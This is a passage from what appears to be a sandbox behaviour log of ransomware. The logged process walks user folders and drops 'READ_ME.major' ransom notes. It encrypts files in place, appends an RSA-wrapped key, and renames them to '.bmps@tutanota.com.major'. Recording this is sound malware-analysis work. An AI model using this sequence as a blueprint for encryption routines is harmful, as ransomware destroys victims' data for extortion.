ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a732ac, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.782] FindNextFileW (in: hFindFile=0x2f30bd8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a4d1a9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31a4d1a9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a732ac, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.782] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Publishers\\8wekyb3d8bbwe\\SettingsContainer\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdb1a72e3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdb1a72e3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31a732ac, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d658 [0206.782] FindNextFileW (in: hFindFile=0x2f2d658, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdb1a72e3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdb1a72e3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x31a732ac, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.782] FindNextFileW (in: hFindFile=0x2f2d658, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a732ac, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31a732ac, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a732ac, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.782] FindNextFileW (in: hFindFile=0x2f2d658, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31a732ac, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31a732ac, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31a732ac, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0206.782] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdff10de7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x320b55dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d6d8 [0206.783] FindNextFileW (in: hFindFile=0x2f2d6d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdff10de7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x320b55dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0206.783] FindNextFileW (in: hFindFile=0x2f2d6d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a7ce5b7, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a7ce5b7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a7ce5b7, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="assets", cAlternateFileName="")) returned 1 [0206.783] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\assets\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\assets\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1504 [0206.785] WriteFile (in: hFile=0x1504, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0206.786] CloseHandle (hObject=0x1504) returned 1 [0206.786] FindNextFileW (in: hFindFile=0x2f2d6d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x744227d1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x744227d1, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xdfed8af5, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="ReaderMessages", cAlternateFileName="READER~1")) returned 1 [0206.786] FindNextFileW (in: hFindFile=0x2f2d6d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x320b55dd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x320b55dd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x320b55dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0206.786] FindNextFileW (in: hFindFile=0x2f2d6d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x529c222b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x529c222b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x529c222b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Search", cAlternateFileName="")) returned 1 [0206.786] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\Search\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\search\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1504 [0206.788] WriteFile (in: hFile=0x1504, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0206.788] CloseHandle (hObject=0x1504) returned 1 [0206.789] FindNextFileW (in: hFindFile=0x2f2d6d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x529c222b, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x529c222b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x529c222b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Search", cAlternateFileName="")) returned 0 [0206.789] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0206.789] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages", dwFileAttributes=0x80) returned 1 [0206.790] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\readermessages"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1504 [0206.790] GetFileSizeEx (in: hFile=0x1504, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=39936) returned 1 [0206.790] ReadFile (in: hFile=0x1504, lpBuffer=0x328b008, nNumberOfBytesToRead=0x9c00, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x328b008*, lpNumberOfBytesRead=0x2e3f9b4*=0x9c00, lpOverlapped=0x0) returned 1 [0206.800] SetFilePointer (in: hFile=0x1504, lDistanceToMove=-39936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0206.800] WriteFile (in: hFile=0x1504, lpBuffer=0x3294c10*, nNumberOfBytesToWrite=0x9c00, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3294c10*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9c00, lpOverlapped=0x0) returned 1 [0206.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x328b008 | out: hHeap=0x570000) returned 1 [0206.800] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3294c10 | out: hHeap=0x570000) returned 1 [0206.800] SetFilePointer (in: hFile=0x1504, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9c00 [0206.800] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.800] WriteFile (in: hFile=0x1504, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.800] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0206.800] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0206.801] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0206.801] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="riPZLYGl5Dd4+KDEqEW1WVsc5WHt9J4bKiN1EvCd9yEYtKXDUQYyR/EGT7y+1s/m\n9FmfftDlYH6Ds+TgoDeW4Tov4Vh2eivvepG+xqCWby89EEZl511OtugXjW9/Sxsa\npBySAq5FI0paJY8OwL6AaC0+DSklkhnpPTt0XRjiGpwnpF6t+sfGR6JYJ26W97Q4\nnoyabnjobcdxSIwjiXjnBMX7/YSizyjViiA0SVYs9llui5EB6ADdr9MMH62OusFu\nDKlL5unVh51E8dSLV+ie9uiABENje2G7TwXU9UC9p+a+uR2+zVHQVuKFE+IqMlUJ\nprWrY+6u+cvhmwMwC1X5SA==\n", pcchString=0x2e3f9a8) returned 1 [0206.801] WriteFile (in: hFile=0x1504, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0206.801] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0206.801] WriteFile (in: hFile=0x1504, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0206.801] CloseHandle (hObject=0x1504) returned 1 [0206.801] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0206.801] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\readermessages"), lpNewFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\ReaderMessages.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\acrobat\\dc\\readermessages.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0207.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6688f0 | out: hHeap=0x570000) returned 1 [0207.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9c90 | out: hHeap=0x570000) returned 1 [0207.052] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8adf8 | out: hHeap=0x570000) returned 1 [0207.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0207.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0207.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65cec0 | out: hHeap=0x570000) returned 1 [0207.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ba0 | out: hHeap=0x570000) returned 1 [0207.053] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x320b55dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d718 [0207.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0207.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0207.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0207.053] GetLastError () returned 0x0 [0207.053] GetLastError () returned 0x0 [0207.053] GetLastError () returned 0x0 [0207.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be2c0 | out: hHeap=0x570000) returned 1 [0207.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2d758 | out: hHeap=0x570000) returned 1 [0207.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0207.053] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9b78 | out: hHeap=0x570000) returned 1 [0207.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0207.054] FindNextFileW (in: hFindFile=0x2f2d718, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x320b55dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0207.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0207.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0207.054] GetLastError () returned 0x0 [0207.054] GetLastError () returned 0x0 [0207.054] GetLastError () returned 0x0 [0207.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be528 | out: hHeap=0x570000) returned 1 [0207.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2d698 | out: hHeap=0x570000) returned 1 [0207.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0207.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9ad8 | out: hHeap=0x570000) returned 1 [0207.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0207.054] FindNextFileW (in: hFindFile=0x2f2d718, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x523a5f8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5e98cd3b, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5e98cd3b, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1 [0207.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0207.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0207.054] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0207.054] GetLastError () returned 0x0 [0207.055] GetLastError () returned 0x0 [0207.055] GetLastError () returned 0x0 [0207.055] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0207.055] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0207.055] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0207.055] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b348 | out: hHeap=0x570000) returned 1 [0207.055] GetLastError () returned 0x0 [0207.055] GetLastError () returned 0x0 [0207.055] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6643a0 | out: hHeap=0x570000) returned 1 [0207.055] GetLastError () returned 0x0 [0207.055] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Linguistics\\UserDictionaries\\Adobe Custom Dictionary\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\locallow\\adobe\\linguistics\\userdictionaries\\adobe custom dictionary\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1508 [0207.196] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x668590 | out: hHeap=0x570000) returned 1 [0207.196] WriteFile (in: hFile=0x1508, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0207.197] CloseHandle (hObject=0x1508) returned 1 [0207.197] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d898 | out: hHeap=0x570000) returned 1 [0207.197] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0207.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0207.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664c38 | out: hHeap=0x570000) returned 1 [0207.198] FindNextFileW (in: hFindFile=0x2f2d718, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x320b55dd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x320b55dd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x320b55dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0207.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665020 | out: hHeap=0x570000) returned 1 [0207.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0207.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0207.198] GetLastError () returned 0x0 [0207.198] GetLastError () returned 0x0 [0207.198] GetLastError () returned 0x0 [0207.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9bf0 | out: hHeap=0x570000) returned 1 [0207.198] FindNextFileW (in: hFindFile=0x2f2d718, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x320b55dd, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x320b55dd, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x320b55dd, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0207.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d380 | out: hHeap=0x570000) returned 1 [0207.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdda8 | out: hHeap=0x570000) returned 1 [0207.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656bf0 | out: hHeap=0x570000) returned 1 [0207.198] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f2d0d8 [0207.198] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0207.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0207.199] GetLastError () returned 0x12 [0207.199] GetLastError () returned 0x12 [0207.199] GetLastError () returned 0x12 [0207.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be478 | out: hHeap=0x570000) returned 1 [0207.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2d358 | out: hHeap=0x570000) returned 1 [0207.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40438 | out: hHeap=0x570000) returned 1 [0207.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9e70 | out: hHeap=0x570000) returned 1 [0207.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0207.199] FindNextFileW (in: hFindFile=0x2f2d0d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x720729ee, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x32101b77, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0207.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8aa40 | out: hHeap=0x570000) returned 1 [0207.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0207.199] GetLastError () returned 0x12 [0207.199] GetLastError () returned 0x12 [0207.199] GetLastError () returned 0x12 [0207.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0207.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f2d258 | out: hHeap=0x570000) returned 1 [0207.199] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0207.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee9bf0 | out: hHeap=0x570000) returned 1 [0207.200] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0207.200] FindNextFileW (in: hFindFile=0x2f2d0d8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb084b30f, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb084b30f, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7ab1bd35, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x2e9, 